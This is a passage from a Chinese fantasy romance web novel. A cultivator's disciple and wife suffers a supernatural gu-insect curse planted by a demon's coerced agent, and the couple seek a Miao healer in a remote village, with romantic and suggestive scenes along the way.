手指在上面漫无目的地滑着,甘棠调侃她的时候她还会扭头害羞。 甘棠看到她身后晾着的豆角, 说:“你现在可以啊, 归园田居,一个女朋友两只猫。羡慕死谁了。” 傅清微笑道:“自家种的。” 甘棠伸手:“纯天然豆角, 给我掰点。” “下回进城, 我给你……” “带”字还没有说出来,她的手忽然握不稳手机,镜头里的脸色煞白。 仿佛有一只, 或者是数只虫子张开细细密密的口器, 在她的心脏用力地咬了一口,钻心的剧痛传来,手机从她的掌中滑落, 摔在地上。 傅清微另一只手握紧了手边的竹竿,竹竿也被她倒地的动作带落,前两天挂上去的豆角都散落一地。 在她倒地之前,她看到穆若水向她冲过来的身影, 脸上带着她从未有过的慌乱。 钻心的痛蔓延到五脏六腑,她的血管和脏器里似乎有无数只虫子在同时啃噬, 傅清微这辈子都没这么痛过, 几乎要立刻蜷缩成虾米。 但是她枕在穆若水怀里,见她慌成那样, 想让她不要担心,可一张口,有什么从她口中不受控制涌了出来。 穆若水的手扶在她的脸上,把她漂亮的五指都染红了。 她吐出来的全是血。 傅清微的手掌撑在地面,指甲深深地陷入泥土,手背的青筋一根一根地爆出来,连腕骨的皮肉都要被凸起的骨头顶破。 好痛啊。 好痛—— 她扭过身去,跪在地上难受得呕吐,想将那些啃食她血液和内脏的虫子吐出来,雪白的喉咙涨得通红,最终吐出来的只有黑色的血。 一滩黑色血水洇湿了泥土地面。 “清微!” 穆若水赫然色变,铺天盖地的恐惧一瞬间抓住了她的心脏,扼得她难以透气。 傅清微两只手死死地握着自己的喉咙,侧颈青筋紫涨,在强烈的剧痛之下迷失了理智,几乎想将自己掐死,就不用再受这种痛楚与折磨。 穆若水连忙拉开她的手,傅清微对上她通红的眼眶,恢复了一丝神智,脸贴近她的胸口,蜷缩进女人怀里,手脚修长,却弓成小小的一团。 “师尊,我好痛……”她疼得满头是汗,奄奄一息地说道。 “没事的,你不会有事。”穆若水不知道在劝她还是安慰自己,颤抖的手指按住她的手腕,朝她的体内渡了一丝真气查探。 傅清微虚弱地呻吟着,她体内的罡气稳定,没有走火入魔之兆,穆若水顺着探查她的脏腑,原本快稳定下来的傅清微突然抓住了她的衣袖,骨节发白地痛叫,在她怀里疼到牙关打战,艰难地吐字。 “有虫子……在……咬我……好多……虫子……师尊……不要……” 穆若水变了几变的脸终于煞白。 她立刻拿出手机给岁已寒打电话:“救人!傅清微出事了!” 岁已寒:“马上派大夫过去。” 穆若水语速飞快:“我怀疑她被人下了蛊,找懂的人来!” 岁已寒原本要拨的电话换了一个:“明白,我立刻派直升机过去。” 穆若水:“有劳。” 她匆匆挂断了电话,用自己的真气强行替她压制住了体内的蛊虫,她功法霸道,对傅清微脆弱的人类身躯也是损伤,然而两害取其轻,她不得不这样做。 “好点了吗?”她用干净的那边衣袖擦着傅清微额头的汗。 “好多了。”傅清微脸色苍白地回,伸手摸到她湿润的眼角,刚好些的心脏又隐隐作痛,“我没事的,你不要哭。” 穆若水没有嘴硬,任由自己的一滴泪水落在她的脸颊。 温热,过后冰凉。 傅清微握住了她的手,节省力气抵抗身体里不时伺机折腾的蛊虫。 不知过了多久,躁动的蛊虫忽然集体安静下来,傅清微似做了一场噩梦,撕心裂肺的痛感潮水般褪去,她抓着穆若水袖子的手松了开来。 “师尊,我好像好了。” 穆若水观察她神色,见她眉心隐隐蹙着,出汗的情况好了许多。 “虫子没再咬我了。”傅清微困惑地说道。 穆若水收回自己的真气,傅清微仔细地感受了她的身体,说:“确实好了,好奇怪。” “还疼吗?” “有一点。”比起万虫噬咬的痛,脏器的伤痛只是小巫见大巫。 穆若水拿了几粒治疗内伤的丹药给她吃,说:“灵管局的人马上就到了,你有什么不舒服及时告诉我。” 傅清微服下,被她扶着又坐在藤椅里休息,说:“我知道。师尊,你的眼睛红了。” 穆若水不自在地避开她的视线。 傅清微认真道:“不是哭过的红,你的眼珠变成红色了。” 穆若水抬手触碰自己的眼前,说:“是吗?” 她更加将脸扭到一边。 自从上次在杀麻天德的时候化过一次红眼后,她就再没在傅清微面前露出过这个样子。 傅清微一只手按着自己脏腑的位置,让自己的喘气声听起来与往日无异。 “怎么又躲我?” “不是躲你。”穆若水转过来,垂着眼皮看她,刚好将眼睛挡住。 傅清微露出一丝虚弱神色,穆若水立马到她身边来,也顾不得不让她看自己眼珠了。 “很漂亮,不是吗?像红宝石。”傅清微看着她的眼眸夸道,问,“转化的契机是什么?” 穆若水血红的双眸凝视她,一片柔情。 “杀心,或者凶性吧?之前是主动的,这次是被动。”一想到傅清微可能会死,她就抑制不住血脉里的嗜杀本能。如果她死了,她大约真的会成为毁天灭地的杀神。幸好她还活着。 “你可以自己控制变回去吗?待会灵管局的人就要来了。” 穆若水闭上眼试了试,再睁开眼还是红色的,眼珠茫然地看着她。 “好了吗?” “没有。” 傅清微说:“那我来试试吧。” 傅清微双手捧起她的脸,轻轻地贴上了女人的唇,额头相抵。 傅清微嘴里都是没吐干净的血腥味,所以只是安静地双唇贴合,温热的气息一下一下呼在她的脸上。 两人额头和鼻尖相抵了好一会儿,傅清微慢慢地离开,睁开眼睛。 穆若水内心所有的负面情绪都被抚平,长睫毛扇动,瞳仁恢复了如墨的漆黑。 傅清微有所预料,说:“还得是我。” “是。” “你好爱我。” “是。” 穆若水一眨不眨地专注望着她,生怕错漏了一眼,她就会在自己面前消失。 “所以,就算为了你,我也决不会让自己有事。” 傅清微单手将她拥入怀里,让她枕在自己肩膀,声音带着安抚人心的力量,说:“不要怕。” “嗯。” 傅清微亲吻她的额头。 其实傅清微也很慌,她刚刚疼得快昏死过去,意识不清的时候还听见穆若水打电话说她好像被人下了蛊,苗疆蛊虫她仅限于听闻,神秘恐怖,杀人于无形,或使人痛不欲生,但是师尊这样,她得镇定下来。 只能寄希望灵管局能人辈出,可以治好她不知何故吐血的伤势。 头顶传来直升机旋翼的声音。 山上不好降落,一向悬停半空,有两个人从软梯上跳了下来,落入道观十几步外的林子里。 穆若水定定的声音由院子里送出:“进来。” 那两人便火速进了门里,直奔傅清微而来,生怕慢了一步救不到人。 嗯? 怎么好端端地坐着? 傅清微:“刚刚发作过一次,现在好了。” 带着医药箱的给她把脉,另一位戴着银饰、分外白皙的女人从自己的腰间解下一个布袋子,打开里面的玻璃罐子,飞出一只碧绿小虫。 那虫子极小,翅膀透明,通身极美丽,绕着傅清微慢慢飞了过来,停在她的耳边,扇动羽翼。 在傅清微看不到的角度,她雪白的后颈和耳下,浮现出黑色的虫子阴影,似乎正在她的皮肤底下呼吸。 穆若水捏紧了自己的手指,指甲一根一根地掐进手心。 苗女收回碧绿小虫,沉声说道:“确实中了蛊。” 穆若水:“可有解法?” 苗女说:“蛊毒千万,派系不同。如何下的,怎么解法,得进一步仔细研究,请真人师徒先回局里,方便后续治疗。” 穆若水说好。 两人又一次踏上了回灵管局的路。 直升机上不便聊天,穆若水确认过后反而镇定许多,换成傅清微趴在她怀里心生畏惧,虽然她看不到,但她知道自己身体里确实有虫子,不是幻觉。 苗疆蛊术之神秘,少现于人前,苗女是岁已寒直接派过来的,傅清微第一次见她。 她唯一能依托的是影视剧里的片段,凡是死于蛊毒的,无不死状凄惨,痛苦不堪,连生前容貌都很难保存,可她为什么会被人下蛊? 她和谁有什么深仇大恨吗?值得下此毒手? 傅清微住进了灵管局的专属病房,手背打着输液针。 穆若水坐在床沿,将自己的额头贴在她另一只手,脸埋进她手背,低哑说:“对不起。” 傅清微温和道:“这和你有什么关系?不能因为我出点什么事,你都把锅揽自己身上吧,我不喜欢你道歉。” 她把手翻过来,掌心托着她的脸起来。 穆若水说:“但这件事确实因我而起,你是我的软肋,所以它们找上了你。” 傅清微一怔。 “魔族?” 穆若水点了点头,不说话表示默认。 傅清微顿了顿,笑着说:“其实我上午是装的,也没有那么疼,我就是想让你抱抱我。” 穆若水不开口,眼周一圈却微微泛起红色。 傅清微静了静:“至少它们没有想立刻杀了我,不是吗?” 穆若水在她面前都快不像自己了,她应该是傅清微的支柱,而不是反过来要对方安慰她。 穆若水到病房开着的窗户前吹了会儿冷风,强迫自己的脑子脱离傅清微的现状去思考。 傅清微和人无冤无仇,不可能有仇家针对她千里迢迢从苗疆过来给她下蛊。 只可能是被她杀死之前的魔气所说的主人,它的主人据灵管局推测是当世所有魔气的领袖,得知她的踪迹后并未第一时间找上门来,而是摸清了她的底细,把矛头指向了傅清微。 就如同灵管局一样,想捏住她唯一的软肋。 这次傅清微蛊毒发作是一次试探,是打招呼,也是对方向她的示威。 只要它想,它可以随时要了傅清微的命。不管她们如何严防死守,它既然能神不知鬼不觉地把蛊下到傅清微的身体里,说明它更能做到其他事。 可是……是什么时候? 穆若水皱起眉头。 她和傅清微形影不离,她虽然不通蛊术,但绝不可能有人在她眼皮子底下给傅清微下蛊,她却浑然未觉的。 她们什么时候分开过吗? 穆若水脑海中飞快闪过一幅幅画面,一道白光击中了她,定格。 前段时间她们俩闹别扭,一起下山看电影,商场外围有一个卖石榴的老奶奶,鸡皮鹤发,老得不像话。 傅清微动了恻隐之心,在摊子前停下买石榴,穆若水在前方不远的奶茶门店用小程序点单,想买杯奶茶配合看电影的情侣气氛。 她回头看了眼,红颜白发的强烈对比触动了她内心恐惧的一面,于是别过脸不忍再看。 老奶奶还送了傅清微一个红石榴。 “小姑娘,再送你一个吧。” “谢谢奶奶。” 傅清微的手伸出来,老人的手和她接触,笑容藏在她布满皱纹的脸庞。 就是那一天,她让傅清微离开了她的视线,她因为自己的心魔放下了警惕,导致傅清微现在身中蛊毒,随时担心它会再次发作,承受万虫噬咬之痛。 * 苗寨。 依山而建的吊脚楼下河流经过,将古沙苗寨分为东西,挑着担子的老人跋涉千里回了村寨。 “苦婆婆。” “婆婆好。” “婆婆回来咯。”几个小孩儿围着老人的筐转来转去,苦婆婆从筐里拣了几个又大又甜的红石榴,分给了来闹她的小孩。 一个女孩说:“阿姊正在上面等婆婆呢。” 苦婆婆哎了声,挑着担子往山上走,她的家住在上头,家里有一个唯一的孙女,相依为命。 见到她,孙女流下泪,苦婆婆也流下酸苦的泪,说:“依那,你的命保住了。” 依那拉住奶奶苍老皱纹的手,两个人一起回了家。 寨民们基本都住在东边,西边的山更高更险峻,有人把守,平时不许人过去。 苦婆婆带着孙女到了西寨,沿着路一直往上走,离开了苗寨,到了更深的山里,原地拔起一座木头搭建的屋子,空无一人把守,但方圆几里,连鸟兽都不敢靠近。 有时空气静得也会令人感到可怕。 苦婆婆领着孙女站在篱笆外墙,提起老迈的声音道:“您让我做的事我已经做完了。” 里面传出一道女声:“请进吧。” 那道声音明明出自恶魔之口,却带着出人意料的温柔亲和,让人不禁去遐想她的容貌是否一样美好。 苦婆婆二人进了漆黑的室内,跪坐在蒲团,低垂着眼睛。 面前的女人戴着斗篷,在黑暗里视物的眼睛正落在面前的茶具,正在第一道泡茶工艺:煮水。 苦婆婆:“我已经按照您的吩咐做了,请您信守诺言,将依那身体里的东西取出来。” 女人说:“自然。” 苦婆婆喊了一声依那,依那畏惧地膝行上前。 女人坐在长案后,隔着几步的距离,伸手向依那的方向,一缕魔气从她灵台出来,回到了她的身体,融为一体。 灵管局乃至穆若水都需要大费周章拔除的魔气,在她手中易如反掌,来去自如,因为那本来就是从她体内分出来的,她愿意的话可以分出无数道魔气,想种在谁身上就种在谁身上。 魔气于她来说并非只是蛊惑侵蚀,还是杀人的利器。依那这样脆弱的凡人,她一个念头就可以让魔气要她的命。 “好了。”女人收回手。 苦婆婆朝她磕了一个头,拉起孙女的手离开木屋。 “慢着。” “你可以走,你的孙女要留下。” 苦婆婆愤怒回头:“你说过只要我给那个人下了蛊,就放过依那的。” 女人说:“一码归一码,我给她祛除疾病,已经完成诺言,现在是新的条件。作为交换:请你催动蛊虫。” 苦婆婆:“蛊母在家,我没带来。” 依那站在门边的身体忽然急剧退后,落入黑暗室内,双膝一软跪在了老人面前,四周的空气仿佛在向她压缩,她的骨头发出挤压的咯吱牙酸声。 口鼻溢出鲜血。 女人提起滚水,浇向桌面的茶杯,鲜红的烫伤出现在了依那的手背。 “啊——!”她痛得大声叫起来。 苦婆婆:“不要!我现在就催动蛊虫!” 女人饶有兴致地盯着苦婆婆放出的那只蛊母,不起眼的小虫子,有时候也能发挥大作用。 人类不仅是蝼蚁,更是能够为她所用、聪明的蝼蚁。 女人看了一会儿,有些腻了,恹恹地点着下巴,说:“别让她死了,我还要和她打招呼呢。” 苦婆婆:“是。” 依那被带到了西寨看守起来,苦婆婆独自离开。 女人从屋子里走了出来,正是正午阳光最好的时候,她撩下身后的斗篷,露出过肩的亚麻长卷发,山里的狂风吹乱她的发丝,深蓝色的眼睛愈发深邃迷人。 明明是一张纯正的东方面孔,却生了一双罕见的瞳色。 她抬手抚上自己光滑的脸,这么多年了,仍然只有这副身体最合她的心意。 如果有灵管局的老人在这里,一定会大跌眼镜。 这张脸不是别人,正是已经死了三十年的前调查二处处长,邱月白的伴侣——折枝。 * 傅清微身体内的蛊毒发作过一次,造成脏器受损,一直在医院里住着养伤。 她这只是子虫,不知道下次发作是什么时候,取决于对面的心情。 穆若水再神通广大,也拿苗蛊没有办法,这些虫子若在她体内自是不惧,碾也碾死了,可偏偏是傅清微。她固然恨不得以身代之,也只能眼睁睁看着她百般受罪。 灵管局的大夫围着她来来去去,各个摇头,龙璇玑探望过一次,病房里一地湿润的桃花,傅清微已经能下地了,一边扫花瓣一边说:“下次再这样就不准来了哦。” 说完她又被淋一脸花瓣,精准降落在她脸上。 傅清微闭着眼笑:“龙璇玑!” 傅清微去追她时突然跪了下来,穆若水及时接住她向旁边倒下来的身子。 在虫子咬的第一口傅清微已经有了心理准备,虽然痛觉排山倒海,几乎瞬间湮灭了她所有神经触感,只剩下痛这一件事,可她蜷缩在师尊怀里时,努力地伸手摸了摸她的脸,露出惨白的笑容,告诉她还好,没有上次那么痛。 师尊,不要哭。 她咬唇忍着,唇瓣在刚开始便被咬伤,血肉模糊,穆若水将自己的小臂塞进她的嘴里。 涌出来的血浸湿了她的袖子,一直染红到她的肌肤,湿粘。 她所有的脏腑被同时啃噬,傅清微又开始呕吐,因为被抱在怀里,血呛到了她的鼻子,满脸都是。 穆若水只好将她扶过来,眼睁睁看她跪地吐出大口黑色的血。 一直到蛊毒发作结束,气若游丝地躺在她怀中,一地血泊。 穆若水的眼珠飞速变红。 灵管局一帮废物! 对方不就是想利用傅清微,让自己主动去找它吗?她现在就带傅清微去找它,解了她身上的蛊毒,不论付出什么代价。 魔气无处不在,只要她有想找对方的欲望,自会有人回去通风报信。 她要去找它们,没什么比傅清微的性命更重要。 龙璇玑:“师娘,你要带娘亲去哪里?!” 穆若水回头,眼眸绯色如血,龙璇玑作为妖的种族天性本能在更高的物种前臣服,险些跪下。 龙璇玑跪着爬过去:“娘亲不愿意,你不能带她走。” “滚开!”龙璇玑的身体倒飞出去砸在了墙面,咳嗽了两声。 她手下留情,没有真正伤到她。 穆若水眼底发冷:“再过来我不客气了。” 龙璇玑发现自己就算跪着也挪动不了分毫,急得她大喊娘亲。 傅清微醒着,却和昏迷差不多,意识涣散,一条手臂无力地垂落下来。 病房门打开,穆若水抱起傅清微决然地走了出去,龙璇玑两只手乱爬,却见她的身影停在原地。 岁已寒匆忙赶来,站在门口,带来了绝境之中的希望。 “有办法了!” 第129章 龙璇玑势单力孤, 无力阻拦之际只能保佑天降神兵。 如果穆若水真去和魔族做了交易的话,无异将傅清微架在火上烤,她无论如何都不会答应以这样的代价来换她的苟活, 她宁愿死。 在娘亲心目中, 师娘和苍生都重要, 她可以不选,但绝不会为了一方牺牲另一方。 假如她醒着, 一定会阻止穆若水。 地面的桃枝锲而不舍地钻出来, 在穆若水的脚步踩上去以后迅速地衰败凋零,一地花泥。 千钧一发之际岁已寒及时赶到, 阻住了穆若水带傅清微离开的脚步。 “有办法了!” “滚开!” 穆若水回应她的和对龙璇玑的是同样的两个字。 岁已寒道行比龙璇玑高得多, 在穆若水一喝之下稳住了心神,只是身形向后退了半步。 “真人请留步!” 穆若水头也不回地路过她,疾步匆匆地前往走廊尽头下楼。 她已经没有耐心听她的办法。 她给了灵管局这么多时间, 让她们去想办法, 傅清微还是发作了,谁知她是真的还是缓兵之计。 就算是真的,即便治好了这一次, 下一次呢? 每一次傅清微都要受这样的罪?受完罪才来找到补救的办法?永远活在担惊受怕之中? 不如一劳永逸,她去问对方谈条件,平等地坐下来谈一谈。不管它想打开地底通道还是让魔种降临,都随它去。她只要傅清微平安。 就算世界变成妖魔横行的世界, 生灵相互践踏,她照样能护傅清微的周全, 她们俩隐居山林仍然过她们的自在日子。 至于世上其他人, 死光了又与她何干! 她的瞳仁彻底转化成鲜红欲滴的绯色,整个人连带傅清微包裹在一团若有若无的黑雾之中。 她的身影若隐若现的, 仿佛在主动与之融合。 岁已寒大惊失色。 忽然之间,女人的手腕连着的那截衣袖被扯了一下。 穆若水脚步未停,人已飞速来到一楼,正要离开医院到更远的地方去。 傅清微用尽全身力气又拉了一下她的袖子。 “师尊……不要……” 穆若水的身形终于停在了门口,仿佛站成了一具雕塑。 那些和她融合的黑气浮动在四周,不甘过后,消散得无影无踪。 后面的脚步声追上来,岁已寒惊魂甫定地看着她,待看到她怀里已经清醒过来的傅清微,悬着的一口气松了半口。 岁已寒拦在了穆若水面前,恳切道:“真的找到办法了。” 穆若水没有将傅清微抱回去,立在原地冷道:“你的办法。” 岁已寒怔了一下,迅速托出。 自古巫蛊不分家,邱月白有一位故交,是非常有名的蛊师。老太太年纪很大了,前几年替人解蛊元气大伤,她的女儿就不同意她再出手,就此颐养天年。 许多高人都隐藏在民间,藏龙卧虎,不愿意加入灵管局接受束缚,尤其是苗疆偏远,都是祖先一代一代传下来的秘术。蛊术之所以古老神秘,也是因为传人基本不出世,在寨里终老。 邱月白亲自飞了一趟,登门拜访,才让对方卖了她一个天大的人情。 傅清微所中的蛊非同寻常,世上能解的人寥寥无几,解蛊的人要承担可能反噬自身的风险。 穆若水问:“有几成把握?” 岁已寒回:“九成。如果连她都不能解,当世无人能解,倘有意外,我随你处置。” “最后一次机会。” 穆若水转身,抱着傅清微往回病房的方向走。 她冷漠到极点的嗓音从身前传来。 “我会夷平灵管局。” * 傅清微再一次醒来,是在飞往邻省的飞机上。 她平躺着被放在商务舱的座椅里,穆若水在她的身边握着她的手,在她刚醒的一瞬间便牵紧了她的手。 神情紧张得好像她是一块脆弱的豆腐。 傅清微坐了起来,给她全方位展示自己,说:“好了,我没事。” 她昏睡那段时间灵管局又给她喂了不少灵丹妙药,虽然对蛊术无法,可是其他修复伤势的手段半点不吝啬投入。 傅清微修炼比常人快许多,一年抵得上旁人数年,早就将身体底子打牢了,只要蛊虫不发作,她就能眨眼间像个没事人。 除了她愈发苍白的脸色,浅淡的唇,几乎看不出她正受着生命威胁。 傅清微起来走了两步,在过道里伸了伸懒腰,睡得她腰酸背痛的。 她宁愿被师尊折成各种角度,做到起不来床,也不要这种天天睡觉的腰酸。 这回伤成这样,师尊肯定没心思和她do了,万一做到一半她发作,穆若水往后都会有心理阴影。 傅清微大脑尽量想着轻松的内容,不去涉及沉重的部分,让自己的情绪得到纾解和快乐,只有这样,穆若水才会从她身上获取力量。 磁场是会互相影响的。 穆若水看她这么有生命力的样子,悬着的心落回了半颗到肚子里,目不转睛地将她的身影印在自己的瞳仁里。 傅清微坐回来,问空乘要了杯橙汁。 橙汁端上来以后,她问穆若水:“喝不喝?” 穆若水摇了摇头。 “真的不喝?”傅清微端起玻璃杯,眼睛一边看着她一边喉咙滚动,将杯子里的液体咽下去。 嘴唇上也沾了一些甜甜的。 傅清微心想:失策了,她应该点牛奶的。 穆若水还是凑过来,握住她的手腕,唇瓣压着她的唇,轻柔地吮去了她唇上残留的果汁。 她养病期间,穆若水情绪低落,几乎没什么亲近的心思,病房里还经常有大夫和灵管局的人造访,来一次失望一次,两个人晚上抱在一起睡觉就是最大的亲密程度了。 连接吻都很少。 谁能想到在傅清微出事以前,她们甚至刚刚成亲,正在浓情蜜意的蜜月期。 一夜之间凄风苦雨笼罩在二人头顶。 穆若水的唇微微离开,凝视着她的眼睛,情意藏在二人的眼波里。 傅清微贴着她小声说:“我想接吻。” 穆若水为难地说:“这里还有别人。” 两人之中傅清微一向是对外更羞怯的那个,但她此时竟然顾不上其他座位的乘客。 她们是新婚道侣啊。 傅清微:“好不好?” 穆若水:“好,那你不要出声。” 傅清微点头如捣蒜。 穆若水不由地一笑。 如雨过天青、星垂长野,说不出的干净明丽。 傅清微已不记得上次看到她真心实意地笑是什么时候了,想来是仍在蓬莱观的时候。 傅清微再接再厉催促:“亲亲亲。” 穆若水立刻又垂眼笑了一下。 她指尖捏着傅清微向她仰起来的下巴亲了过来,偏头轻轻地印上了她柔软的唇。 因为隔壁还有乘客,二人坐在最后一排,将所有亲密的响动放得最轻。 连舌头纠缠都是轻轻的,你碰我一下,我碰你一下地回合制,最后再慢慢地绕在一起。 穆若水含着她的舌尖,浅浅地反复吸吮,傅清微同样这么对待她。 两人在飞机上接了个轻柔但刺激的吻。 睁开眼时,彼此眼底都有动情的水光。 傅清微环住她的一边胳膊,嗯嗯呜呜地在她耳边撒娇。 穆若水听不清,笑着问:“你说什么?” 傅清微亲了她的耳朵一下,贴着女人淡粉的耳廓说:“想和师尊做爱了。” 穆若水:“……” 都什么时候了,还在想这种事? 傅清微推开遮阳板,飞机正在云层里穿行,她们搭的是最早的航班,群峰之间火红的朝阳正在冉冉升起,席卷起成片的火烧云,一直烧到半边天都红艳艳,喷薄的热情足以感染到目睹的每一个人。 穆若水听见她在自己旁边哇了一声。 傅清微的脑袋轻轻靠在穆若水的肩膀上,说:“我们好像在度蜜月啊。” “嗯。” 穆若水随着她的视线也将目光投向窗外壮丽的日出。 “将来我们再来一次吧。” 在一切都好起来以后。 * 飞机落地后转车,两人兜兜转转地走了好长一段路,来到了一处山清水秀的苗寨。 相比于商业化开发过度的苗寨,这里人烟稀少,没有游客,最大程度地保护了苗族习俗。随着世俗化进程,苗寨大力开发旅游资源,少数苗人选择相反的方向,不断地迁入偏僻的深山,到游客绝迹的地方生活。 她们要找的蛊师就是其中一支苗人。要不是邱月白认识,等闲人根本找不到这里。 河水蜿蜒如白带,在傅清微脚底踩着的木板下流动,潺潺不绝。 她扶着吊脚楼的栏杆,往低处看流水,和河边捣衣的苗女,满身的银饰在太阳下闪闪发光,嬉笑交谈,风铃般清脆的笑声传入她的耳朵里。 整座苗寨都充斥着自由烂漫的气息。 傅清微有感而发道:“要不是我们来找蛊师,我还不知道世上有这样美的地方。” 穆若水的步伐停在她身边,说:“等你的蛊解了,你喜欢我们可以多待几天。” 傅清微眼前一亮,说:“蜜月第一站?” 穆若水无奈地点了点头。 “嗯。” 傅清微伸手碰上穆若水的脸,指尖在她的唇角画出一道笑容。 “不要愁眉苦脸,我们俩仍然在一起,就是最幸运的事。” “不要担忧没有发生的事。” “我会活下来,我们会永远在一起,这是我对你的承诺。” 傅清微的二指松开,笑容依旧停在穆若水的脸上。 她嘴角扬起:“好。” 傅清微实在太乐观强大了,穆若水现在才发觉,如果不是这样的性格,根本不足以支撑她从自小到大的困境里一次次走出来,还把自己养得这么好。 虽然她经常在自己面前掉眼泪,被调侃水做的女大,但是真正面临生死攸关之际,她性格里坚韧的那一面就会表现出来,超出穆若水的想象。 不是她离不开穆若水,是穆若水不能没有她。 * 当地人有把蛊师称作草鬼婆的传统,常年与蛊为伴,而蛊多为毒虫,越是厉害的蛊师意味着她拥有的蛊虫毒性越大,所以蛊师大多外表丑陋,不是先天貌丑,而是后天造成的。 正如给傅清微下蛊的苦婆婆,她实际年纪并没有那么大,之所以老态龙钟,皆因炼蛊导致。 要寻的这位蛊师姓石,是五大姓之一,名望很高,住在苗寨往上中央最大的一座吊脚楼。 她有一个女儿,今年五十多岁,名叫仰月,称阿月。 “你们就是来找我妈妈解蛊的人?” “是。” 阿月打量面前两个女人,一个戴着黑色口罩,另一个年轻些的不用说,只一眼她就看出谁是中蛊的人。 阿月对傅清微说:“你跟我进来吧。” 穆若水:“我和她一起。” 阿月断然拒绝:“你留在外面,我妈妈只见中蛊的人。” 一向目中无人的穆观主竟然未见不虞,反而礼节周到,抬手作揖,道了一声:“有劳。” 傅清微本来涌到喉咙口劝说的话都化作酸涩咽了回去。 傅清微跟随阿月进去,回头对那道等在外面的修长身影说:“不要担心,我很快就出来。” 穆若水向她招了一下手。 最后一丝表情也随着进门关在了屋外。 “妈妈,人我带进来了。”阿月从另一个方向退了出去。 室内的光线明亮,傅清微站在门口,乍然见到中央蒲团里坐着的老人吓得差点心脏骤停。 苦婆婆已够老了,这位石娭毑更是老得像干树皮,嘴巴像个系紧的布口袋,干巴巴地陷进去。 傅清微走到石娭毑面前,老人崎岖的外表之下,睁开一双温和湿润的眼睛。 傅清微一见到她那双眼,不自觉地平静下来。 她依着石娭毑的指示坐了下来,伸出手掌,和对方枯老如树藤的手上下合在一起。 石娭毑的手托着她的手掌,翻到手心,沿着她手臂内侧往上按,速度越来越快,灵活得不像一个年近九十的老人。 在傅清微看不到的皮肤底下,一只小虫子在飞速游走,似乎被什么逼退,慌忙逃窜。 传闻有些厉害的蛊师,会以自己的身体养蛊,本身就是蛊虫的宿体,亦能驱使蛊虫,如何共生是不传之秘。 这样养出来的蛊虫,独一无二且极为强大。 傅清微经络里一阵麻一阵痒,忍着让她一直按到了自己的背部和肚子。 石娭毑收回手,湿润的眼神仍然有光亮,只看着她说了两个字:“能解。” 傅清微心头的大石重重落下,笼罩在头顶的死亡阴影终于散开。 傅清微喜极而泣。 “谢谢奶奶,谢谢奶奶。” 与其说她为自己流的泪,不如说是为穆若水流的。 “不知道该怎么感谢您才好,您救了我们两个人。” 石娭毑笑说:“去和外面的人报喜吧。” “我还有些准备工作要做,休整两天,我便着手为你解蛊。” 傅清微从地上一骨碌爬起来,拉开门几乎是奔出去的,差点被门槛绊了一跤,手撑在地上又站了起来。 她回头朝石娭毑不好意思地一笑。 穆若水在门口就看到她飞快奔来的身影,她一步越过界限,迈进庭院里,和刚从屋里跑出来的傅清微用力地拥抱在一起。 “怎么样?”即使已从她的神情猜到答案,穆若水仍急切地求证。 “有救了有救了!能解!” 傅清微拉起她的双手,看着她的眼睛兴高采烈道。 穆若水再一次将她紧紧拥进了怀里,不住地蹭着她的鬓发,眼含热泪。 阿月说要给她们安排住宿,晚点才能收拾好,请她们先自便。二人便高兴地手牵手在寨子里逛起来,得知喜讯后的两人步履都轻快了许多,走走看看。 有个小孩跑快了不小心撞到穆若水的腿,正要道歉,穆若水脱口说:“谢谢。” 小孩懵了。 小孩懵懂不解丢下一句“不客气”,三步一回头地跑走了。 小孩的背影消失在视野里。 穆若水又认真说了一声:“谢谢。” 谢谢命运终于眷顾,给了她一条活路。 * 两人在石娭毑家里住了下来,石娭毑年事已高,喜静,不能被打扰,遂安排她们在离主屋较远的一间。 房间很大,依山傍水,视野通透,木头搭建的建筑有一种淡淡的香气,打开窗就是群山和层层叠建的吊脚楼,空气清新。 晚饭以后傅清微神神秘秘地去找了一趟石娭毑,神神秘秘地回到房间,把刚洗完澡出来的穆若水按在了床上。 穆若水:“?” 傅清微把脸埋进她脖子里深深地嗅了一口,说:“老婆,你好香。” 穆若水:“……” 穆若水不喜欢过于现代的称呼,但不妨碍此情此景,她被傅清微突然的一句话说得脸红了起来。 穆若水把她从自己身上推开,修白指尖勾了勾耳发,轻声:“你犯什么病?” “相思病。” “……”穆若水捂住自己应声发烫的耳朵,说,“你正经一点。” “我哪里不正经?我们不是在度蜜月吗?” “……” “凡间度蜜月都是这样的,我已经很克制了。” 穆若水退后一步,和正在向她走近的傅清微保持在安全距离。 “你克制一点,你现在的身体不行。” “你猜我刚刚去找石娭毑说什么?” “说了什么?” 傅清微朝她一笑:“我问她有没有办法暂时压制蛊虫,不让它发作。她说有,她就帮我先压制住了。” 穆若水听她说蛊虫被顺利压制住了,绽开清丽眉眼。 “我又问她,休息这两天能不能行房,会不会影响解蛊。她说不会,适当的运动和身心愉悦反而有好处。” “所以……”傅清微一把抱住了退到桌子的穆若水的腰。 “我们来做爱吧,老婆。” 第130章 穆若水后腰已经抵上了桌角, 退无可退,被傅清微一把搂过了纤细的腰肢,圈在怀里。 “我们来做爱吧, 老婆。”年轻女人在她的耳边撒娇, 呵气如兰。 放在往日穆若水定然早已心荡神驰, 将羊入虎口的道侣吃干抹净,如今面对诱惑只是神思恍惚了一秒, 继而将自己牢牢钉在原地, 问道: “你身体里的蛊虫当真压制下来了?” “真的,可以做。” “我不是在问做的事。”穆若水羞恼道。 “可是我想做嘛。” 傅清微搂着她腰的手一直搁在那里, 不安分地画着, 道:“你知道外面这样的民宿一晚要多少钱吗?有钱都住不到纯天然的苗寨,我想留下美好的回忆。” “你的回忆就是和我做?” 傅清微偏头咬着她的耳朵,轻声说:“是被你上。” “……” 穆若水再听心上人这话不可能一直无动于衷, 她出其不意地袭击了傅清微, 指尖快速揉了一下两片唇拿出来,说:“干的?” 傅清微扭捏:“我还没准备好。” 她将脸偏到一边,乌黑发丝掩映半边绯红的耳廓, 小声道:“再说我在你心目中就那么浪吗?” “不是,你只是敏感。” 穆若水说了半句假话。 傅清微真的很想和她做的话这会儿就该有反应了,她可是只听自己喘气或者说话就能到的小猫咪。 穆若水怀疑她想借这种方式来安抚自己,暂时遗忘掉不好的事。 当然不能说傅清微完全不想, 毕竟这样好的蜜月,穆若水从房间里望出去的风景, 也让她很想和对方发生点什么。 如果一切安好的话。 穆若水由着她在自己怀里撒了一会儿娇, 方开口道:“去洗澡。” “那你待会要不要我?” “待会再说。” “不能待会再说。”傅清微严肃道,“你的选择决定了我要洗得多干净。” “……” 穆若水干脆说:“我进来帮你洗吧。” 傅清微笑了一声, 说:“不要。” 穆若水在一来一往里终于勾起了调情的兴致,问:“为什么不要?你以前不是很想我帮你洗吗?” 